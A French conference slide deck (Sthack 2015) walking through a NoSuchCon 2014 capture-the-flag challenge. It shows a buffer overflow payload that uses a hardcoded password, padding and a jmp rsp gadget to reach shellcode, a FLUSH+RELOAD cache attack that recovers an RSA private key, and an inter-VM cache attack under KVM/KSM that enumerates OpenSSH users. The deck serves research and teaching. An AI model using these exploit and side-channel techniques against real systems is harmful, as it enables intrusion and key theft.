sthack 2015 - david berard & vincent fargues - attack the cache to get some cash

ATTACK THE CACHE TO GET SOME CASHSthack 27 mars 2015

0

DAVID BERARD & VINCENT FARGUESCESTI Thales à Toulouse

1

CHALLENGE NOSUCHCON #2 - SEPTEMBRE 2014

Conférence à Paris 19-21 NovembreChallenge créé par

Objectif : Trouver email + password

2

CHALLENGE EN 3 ÉTAPES1. Rétro ingénierie MIPS

Rétro ingénierie rapide et analyse statistique2. Escape Python sandbox + XXE

Attaque sur AES-128 avec un padding oracle(vulnérabilité non souhaitée par les créateurs).Exfiltration de données par XXEEvasion de la sandbox Pickle modifiée

3. Timing cache attack sur RSA en remote avec overflowExploitation d'un buffer overflowRéalisation d'une attaque par canaux auxiliaires

3

DÉCOUVERTE DE L'ARCHIVE$ tar xzvf securedrop.tar.gz securedrop/securedrop/client/securedrop/client/client.pysecuredrop/archive/securedrop/archive/messagessecuredrop/servers/securedrop/servers/SecDropsecuredrop/servers/xinetd.conf/securedrop/servers/xinetd.conf/secdropsecuredrop/servers/xinetd.conf/stpmsecuredrop/servers/STPMsecuredrop/lib/securedrop/lib/libsec.so

4

DÉCOUVERTE DE L'ARCHIVE : MESSAGE ARCHIVÉ

Message chiffré (2 lignes)

securedrop/archive/messages

$ cat archive/messages new message:0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD808FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F99772235808097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAEE557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C149d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b682dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2accfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb24d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b029409d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3d75552328cf5742c

5

DÉCOUVERTE DE L'ARCHIVE : CLIENT PYTHONsecuredrop/client/client.py

[...]s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(15)s.connect(('nsc2014.synacktiv.com', 1337))

s.send('%s\n%s\n%s\n'%(PASSWORD, wk, enc.encode('hex')))r = ''while '\n' not in r : r += s.recv(1024)

try : r = r.strip('\n').decode('hex') print ocb_decrypt(k, r)except : print r

6

DÉCOUVERTE DE L'ARCHIVE : CONFIGURATION XINETD

secdropport : 1337utilisateur : secdropbinaire : /home/secdrop/SecDropargument : /home/secdrop/messages

stpmport : 2014utilisateur : stpmbinaire : /home/stpm/STPMargument : /home/stpm/keyfile

securedrop/servers/xinetd.conf/secdropsecuredrop/servers/xinetd.conf/stpm

7

DÉCOUVERTE DE L'ARCHIVE : BINAIRES X86-64securedrop/servers/SecDropsecuredrop/servers/STPMsecuredrop/lib/libsec.so

8

FONCTIONNEMENT BASIQUE DU CLIENTClient SecDrop

gen random AES_key

PASSWORD

RSA_encrypt(AES_key,Kpub)

AES_encrypt(message,AES_key)

AES_encrypt("OK",AES_key)

9

RÉTRO INGÉNIERIE SECDROPÉcoute via xinetd sur le port 1337Service de réception de messageStockage de messages dans un fichier (argv[1])

10

RÉTRO INGÉNIERIE SECDROP : INITIALISATIONfopen argv[1]Connect 127.0.0.1:2014Limitation des syscalls à READ, WRITE, EXIT

LODWORD(v0) = seccomp_init(0LL);v1 = v0;if ( v0 && seccomp_rule_add(v0, 2147418112LL, 0LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL) >= 0 && seccomp_load(v1) >= 0 ){ seccomp_release(v1); result = 0LL;}

11

RÉTRO INGÉNIERIE SECDROP : LECTURE DU PASSWORDMot de passe fixe hardcodé

if ( read(0, &buf, 0x21uLL) != 33 || memcmp(&buf, "UBNtYTbYKWBeo12cHr33GHREdZYyOHMZ\n", 0x21uLL) ){ write(1, "WRONG PASSWORD!\n", 0x10uLL); SEC_exit(1LL);}sub_400FB0(v7);SEC_exit(0LL);

12

RÉTRO INGÉNIERIE SECDROPLECTURE DE LA CLEF AES CHIFFRÉE PAR RSA ET DU MESSAGE CHIFFRÉ PAR AES

Lecture caractère par caractèreStockage sur la stack

int __fastcall read_input(__int64 a1, __int64 a2){ v2 = 0LL; while ( 1 ) { result = SEC_fgetc(a1); if ( result == -1 || result == '\n' ) break; v3 = (unsigned int)v2; v2 = (unsigned int)(v2 + 1); *(_BYTE *)(a2 + v3) = result; } *(_BYTE *)(a2 + v2) = 0; return result;}

13

RÉTRO INGÉNIERIE SECDROP : COMMUNICATION AVEC STPMClef AES chiffrée par RSA envoyée au STPM

Avec la commande : 3\n2\n0\nKEY\nMessage chiffré AES transmis au STPM

Avec la commande : 2\n2\nMESSAGE\n

14

FONCTIONNEMENT GLOBALClient SecDrop STPM

AES_key=random(16)

PASSWORD

RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key

AES_encrypt(message,AES_key) 2-2-AES_encrypted_message

15

PSEUDO-CODE SECDROPsave_messages = open(argv[1])

socket_stpm = connect(localhost:2014)

restrict_allowed_syscalls()

passwd = read(stdin,33)

if(passwd=="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZ\n"): aes_key =read_input() encrypted_msg=read_input()

send(socket_stpm,"3\n2\n0\n"+aes_key+"\n") send(socket_stpm,"2\n2\n"+encrypted_msg+"\n")

save_messages.write(aes_key + "\n" + encrypted_msg)

16

RÉTRO INGÉNIERIE STPMÉcoute via xinetd sur le port 2014 (filtré pour l'extérieur)Sofware Trusted Platform Module ?Réalise les opérations de chiffrement et de déchiffrementStocke des clefs (16 emplacements pour des clefssymétriques / asymétriques)Préchargement des clefs depuis le fichier argv[1]

Absent de l'archive fournie

17

RÉTRO INGÉNIERIE STPM : PARSING DES COMMANDESSymboles présents dans le binaire :)

switch ( v2 ) { case '4': v3 = export_key(); goto LABEL_6; case '3': v3 = import_key(); goto LABEL_6; case '2': v3 = message_decrypt(); LABEL_6: if ( v3 ) goto LABEL_7; continue; case '1': print_keys();[...]

18

RÉTRO INGÉNIERIE STPM : COMMANDES DISPONIBLES1. print_keys()

affiche toutes les clefs stockées2. decrypt(key_id,message)

déchiffre le message avec la clef key_id3. import_key(key_id,index,ciphered_AES_key)

Reçoit ciphered_AES_key chiffré en RSA avec la clef key_idDéchiffre et stocke la clef à l'index spécifié

4. export_key(index,key)Renvoie la clef AES à l’index spécifié chiffrée en RSA avecla clef key

5. exit()

19

FONCTIONNEMENT GLOBALClient SecDrop STPM

AES_key=random(16)

Kpriv=read(argv[1])PASSWORD

RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key

AES_key=RSA_decrypt(Kpriv)

store(AES_key)

AES_encrypt(message,AES_key) 2-2-AES_encrypted_message

AES_encrypt("OK",AES_key)AES_encrypt("OK",AES_key)

20

BUFFER OVERFLOW DANS SECDROPLecture caractère par caractère sur la socket vers le clientStockage sur la stackArrêt de la lecture si retour à la ligne → overflow

int __fastcall read_input(__int64 a1, __int64 a2){ v2 = 0LL; while ( 1 ) { result = SEC_fgetc(a1); if ( result == -1 || result == '\n' ) break; v3 = (unsigned int)v2; v2 = (unsigned int)(v2 + 1); *(_BYTE *)(a2 + v3) = result; } *(_BYTE *)(a2 + v2) = 0; return result;}

21

BUFFER OVERFLOW DANS SECDROPClient SecDrop

PASSWORD

padding+ ROP Chain + Shellcode

shellcodeexecution

22

BUFFER OVERFLOW DANS SECDROP : SHELLCODEROP chain simple : gadget magique présent dans le code

Exploit :

Syscalls limités à READ, WRITE, EXIT par la sandbox

.text:0000000000400F60 db 0B8h

.text:0000000000400F61 ; -----------------------------

.text:0000000000400F61 jmp rsp

.text:0000000000400F61 ; -----------------------------

.text:0000000000400F63 db 0

jmp_rsp=0x00400f61# passwordpayload="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZ\n"# overflowpayload+="A"*12072# Jump to shellcodepayload+=addr(jmp_rsp)# write shellcodepayload+=shellcode()payload+="\n"

23

BUFFER OVERFLOW DANS SECDROP : EXEMPLE AVEC PRINTKEYRéutilisation des descripteurs de fichier déjà ouverts(sockets client/STPM)

Client SecDrop STPM

PASSWORD


1 (printKey)

printKey results

printKey results

she

llcod

e e

xe

cutio

n

24

BUFFER OVERFLOW DANS SECDROP : EXEMPLE AVEC PRINTKEYkey 0: ASYMETRIC n = 0x000000B740DF8EE7BEFFE41A337B4E56FFE903D6D62C75[...] e = 0x00010001 q = PRIVATE :)key 1: SYMETRIC k = SECRET :)key 2: EMPTYkey 3: EMPTYkey 4: EMPTYkey 5: EMPTYkey 6: EMPTYkey 7: EMPTYkey 8: EMPTYkey 9: EMPTYkey 10: EMPTYkey 11: EMPTYkey 12: EMPTY

25

TIMING CACHE ATTACKAttaque par canaux auxiliaires utilisant le cache desprocesseurs x86Cible les algorithmes cryptographiques

AESRSA

FLUSH+RELOAD: a High Resolution,Low Noise, L3 Cache Side-ChannelAttacksource :https://eprint.iacr.org/2013/448.pdf

27

https://eprint.iacr.org/2013/448.pdf

FLUSH+RELOAD : CONDITIONS D'EXPLOITATIONL'attaquant et la cible doivent être sur le mêmeprocesseur

Shellcode dans SecDrop sur la même machine queSTPM

Le code du RSA doit être lisible par l'attaquantOpérations RSA réalisées dans la librairie partagée

28

FLUSH+RELOAD : LE CACHE COMME CANAL AUXILIAIRE

Core 0

L1 instr L1 data

L2

Core 1

L1 instr L1 data

L2

L3

STPM SecDrop

Main memorylibsec.so

29


Core 0

L1 instr L1 data

L2

Core 1

L1 instr L1 data

L2

L3

STPM SecDrop


30


Core 0

L1 instr L1 data

L2

Core 1

L1 instr L1 data

L2

L3

STPM SecDrop


31


Core 0

L1 instr L1 data

L2

Core 1

L1 instr L1 data

L2

L3

STPM SecDrop


< X cycles CPU> X cycles CPU

31


Core 0

L1 instr L1 data

L2

Core 1

L1 instr L1 data

L2

L3

STPM SecDrop


clflush

32

FLUSH+RELOAD : ALGORITHMEwhile True: a = get_CPU_cycle() read_memory(address) b = get_CPU_cycle() flush_caches(address)

if b-a < threshold: # the memory zone was accessed by another process else: # the memory zone wasn't accessed

33

IDENTIFICATION DES SEUILSFLUSH+Reload sur une adresse régulièrement utiliséeRécupération du nombre de cycles CPU pour une lecture

CanvasJS.com

34

http://canvasjs.com/


CanvasJS.com

CacheHITS< 200

34



CanvasJS.com

CacheHITS< 200

CacheMISS> 200

34


RSA : EXPONENTIATION MODULAIRERSA_decrypt : bigint(ciphertext) ^ d % n

d => exposant privén => modulus

Bignum Exp_mod : square et multiply

/* base = n, exp = d, m = int(ciphertext) */modpow(base, exp, m) { result = 1; while (exp > 0) { if (exp & 1 > 0) { result = (result * base) % m; #MULTIPLY } exp >>= 1; base = (base * base) % m; #SQUARE } return result;}

35

IDENTIFICATION DES FONCTIONS SQUARE & MULTIPLYTest sur le bitSquare & multiply

36

CACHE ATTACK DEPUIS L'OVERFLOW DANS SECDROP

Main memory libsec.somultiply

square

SEC_unwrap

SEC_fgetc

SecDrop STPM

37

CACHE ATTACK DEPUIS L'OVERFLOW DANS SECDROP

Main memory libsec.somultiply

square

SEC_unwrap

SEC_fgetc

SecDrop STPM

Flush&ReloadShellcode

38

CACHE ATTACK DEPUIS L'OVERFLOW DANS SECDROPClient SecDrop STPM

PASSWORD


3-2-0-RSA_encrypted_AES_key

AES_key=RSA_decrypt(Kpriv)

results

she

llcod

e e

xe

cutio

n

me

sure

s

39

RÉSULTATS

CanvasJS.com

40


EXTRACTION DES BITS DE L'EXPOSANT PRIVÉ

CanvasJS.com

41



CanvasJS.com

SquareMultipy

1

41



CanvasJS.com

SquareMultipy

1

SquareMultipy

1

41



CanvasJS.com

SquareMultipy

1

SquareMultipy

1

0

41



CanvasJS.com

SquareMultipy

1

SquareMultipy

1

0

SquareMultipy

1

41



CanvasJS.com

SquareMultipy

1

SquareMultipy

1

0

SquareMultipy

1

SquareMultipy

1

41



CanvasJS.com

SquareMultipy

1

SquareMultipy

1

0

SquareMultipy

1

SquareMultipy

1

0

41



CanvasJS.com

SquareMultipy

1

SquareMultipy

1

0

SquareMultipy

1

SquareMultipy

1

0

0

41



CanvasJS.com

SquareMultipy

1

SquareMultipy

1

0

SquareMultipy

1

SquareMultipy

1

0

0

SquareMultipy

1

41


RECONSTRUCTION DE L'EXPOSANT PRIVÉBits inversés : consommés par l'exponentiation modulairepar la finPlusieurs tentatives : résultats différentsUn résultat se démarque dans 20% des cas, c'estl'exposant privé

42

RAPPEL : MESSAGE DANS L'ARCHIVE

Ligne 1 : Clef AES chiffrée RSALigne 2 : Message chiffré AES

securedrop/archive/messages

$ cat archive/messages new message:0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD808FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F99772235808097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAEE557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C149d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b682dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2accfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb24d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b029409d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3d75552328cf5742c

43

DÉCHIFFREMENT DE LA CLEF AES# Inversion des bits, conversion en entier de "d"d = int(d_binary[::-1],2)# Conversion en entier de la clef chiffré depuis le message chiffréencrypted_aes_key = int(encrypted,16)# Operation de déchiffrement RSAkey_value = pow(encrypted_aes_key, d, n)# Key : conversion depuis un entierkey = '%0x' % (key_value)# Suppression du padding PKCS1 v1.5print key[-32:]

44

DÉCHIFFREMENT DU MESSAGESIMPLE OPÉRATION AES AVEC LA CLEF RETROUVÉE

$ python2 decrypt_msg.pyGood job! Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to [email protected]. Also, don't forget to send us your solution within 10 days.Synacktiv team

45

IN THE REAL WORLD...Exemple : bruteforce des utilisateurs dans OpenSSH

Cache attack inter VM

46

HYPERVISEUR AVEC DÉDUPLICATION DE MÉMOIREKVM : Kernel-based Virtual MachineKSM : Kernel Samepage MergingCombinaison par défaut sur certaines distributionsdédiées à la virtualisation

47

KERNEL SAME PAGE MERGING

Virtual memory

VM 1

Main memory

Virtual memory

VM 2

Hyperviseur

48


Virtual memory

VM 1

Main memory

Virtual memory

VM 2

Hyperviseur ksmd

49


VM 1

Main memory

VM 2

Hyperviseur ksmd

Virtual memory Virtual memory

same page

50


VM 1

Main memory

VM 2

Hyperviseur ksmd


51


VM 1

Main memory

VM 2

Hyperviseur ksmd


52


VM 1 VM 2

Hyperviseur ksmd


Main memory

sshd sshd

Cache L3

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L'UTILISATEUR INEXISTANT EXISTE !if (authctxt->pw && strcmp(service, "ssh-connection")==0) { authctxt->valid = 1; debug2("input_userauth_request: setting up authctxt for %s", user);} else { logit("input_userauth_request: invalid user %s", user); authctxt->pw = fakepw();}

struct passwd *fakepw(void){ static struct passwd fake; memset(&fake, 0, sizeof(fake)); fake.pw_name = "NOUSER"; fake.pw_passwd = "$2a$06$r3. juUaHZDlIbQaO2dS9FuYxL1W9M81R1Tc92PoSNmzvpEqLkLGrK"; fake.pw_uid = privsep_pw == NULL ? (uid_t)-1 : privsep_pw->pw_uid; fake.pw_gid = privsep_pw == NULL ? (gid_t)-1 : privsep_pw->pw_gid; fake.pw_dir = "/nonexist"; fake.pw_shell = "/nonexist"; return (&fake);}

54

TEST DE LA PRÉSENCE D'UN UTILISATEURChargement du binaire sshd en mémoire (mmap)Création d'un thread de monitoring

FLUSH+RELOAD sur l'adresse fakepw (offset danssshd)

En parallèle : Connexion à la VM avec libssh2HIT sur fakepw : utilisateur inexistantMISS sur fakepw : utilisateur existant

55

DÉMOuser@vm1 $ ./ssh_user_bruteforcer

56

MERCI DE VOTRE ATTENTION !

QUESTIONS

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Education

v0if v0 seccomp

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